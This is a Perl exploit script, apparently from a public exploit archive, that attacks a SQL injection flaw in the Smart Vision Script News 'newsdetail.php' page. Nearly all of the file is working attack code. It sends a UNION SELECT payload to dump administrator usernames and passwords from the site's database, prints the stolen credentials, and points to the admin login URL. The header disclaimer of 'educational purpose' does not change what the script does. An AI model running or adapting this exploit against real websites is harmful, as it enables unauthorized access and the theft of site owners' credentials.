#!usr/bin/perl 
############################################################################
# Exploit Title: Smart Vision Script News (newsdetail) SQL Injection Exploit
# Date: 01-04-2010
# Author: darkmasking
############################################################################
# This was written for educational purpose only. Use it at your own risk. 
# Author will be not responsible for any damage! 
############################################################################ 
# Vuln discovered by Err0R 
# Smart Vision Script News ( newsdetail ) SQL Injection Vulnerability
# http://www.exploit-db.com/exploits/10977
############################################################################
# Greetz : sorry bro lom ada teman jadi tuk diri sendiri aja 0_o
############################################################################
 
  use IO::Socket::INET; 
  use LWP::UserAgent; 
 
  sub banner { 
 
  print "\n". 
              "[»]=============================================[_][-][X]\n". 
	      "[»]  =======   ------d-------m------   ====    ====   [»]\n". 
	      "[»]  || === =       | |(o o)| |        ||== || ==||   [»]\n". 
	      "[»]  || === =         ||(~)||          || =    = ||   [»]\n". 
	      "[»]  =======             |             ||        ||   [»]\n". 
	      "[»]---------------------------------------------------[»]\n". 
              "[»] Smart Vision Script News (newsdetail)             [»]\n". 
              "[»] SQL Injection Exploit                             [»]\n". 
              "[»] by darkmasking                                    [»]\n". 
              "[»] Vuln discovered by Err0R                          [»]\n". 
              "[»]===================================================[»]\n\n"; 
 } 
 
 my $host    = $ARGV[0]; 
 my $sql_path = "/newsdetail.php?id="; 
 my $admin_path ="/admin/admin.php"; 
 
 if (@ARGV < 1) { 
    &banner(); 
    &help("-1"); 
 } 
 
 elsif(check($host) == 1) { 
	&banner(); 
	&dmploit($host,$sql_path); 
 } 
 
 else { 
    &banner(); 
    help("-2"); 
 } 
 
 sub dmploit() { 
 
    my $host     = $_[0]; 
    my $sql_path = $_[1]; 
 
    print "[+] Getting Username and Password\n"; 
    print "[!] Checking...\n"; 
    print "\n"; 
 
	my $sql_atk = $host.$sql_path."-9999 union select null,concat(0x6461726b6d61736b696e67,0x3a,user_name,0x3a,password,0x3a,0x6461726b6d61736b696e67),null,null,null,null,null from zagrosle_zagros.user_accounts--";
	my $sql_get = get_url($sql_atk); 
    my $connect = tag($sql_get); 
 
    if($connect =~ /darkmasking:(.+):(.+):darkmasking/) { 
 
    print "-o0 SQL Injection Successfully 0o-\n"; 
    print "[+] Username : $1\n"; 
    print "[+] Password : $2\n"; 
    print "\n"; 
    print "[+] Admin URL = $host$admin_path\n"; 
 
    } 
 
    else { 
	print "[-] SQL Injection Failed\n"; 
    } 
 } 
 
   sub get_url() { 
    $link = $_[0]; 
    my $req = HTTP::Request->new(GET => $link); 
    my $ua = LWP::UserAgent->new(); 
    $ua->timeout(5); 
    my $response = $ua->request($req); 
    return $response->content; 
  } 
 
  sub tag() { 
    my $string = $_[0]; 
    $string =~ s/ /\$/g; 
    $string =~ s/\s/\*/g; 
    return($string); 
  } 
 
  sub check() { 
  my $host  = $_[0]; 
  if ($host =~ /http:\/\/(.*)/) { 
    return 1; 
    } 
    else { 
    return 0; 
    } 
  } 
 
  sub help() { 
 
  my $error = $_[0]; 
  if ($error == -1) { 
  print "\n[-] Error, missed some arguments !\n\n"; 
  } 
 
  elsif ($error == -2) { 
 
    print "\n[-] Error, Bad arguments !\n"; 
    } 
 
    print " Usage : perl $0 http://www.darkurl.com/\n\n"; 
    print " Ex    : perl $0 http://www.darkurl.com/\n\n"; 
    exit(0); 
  }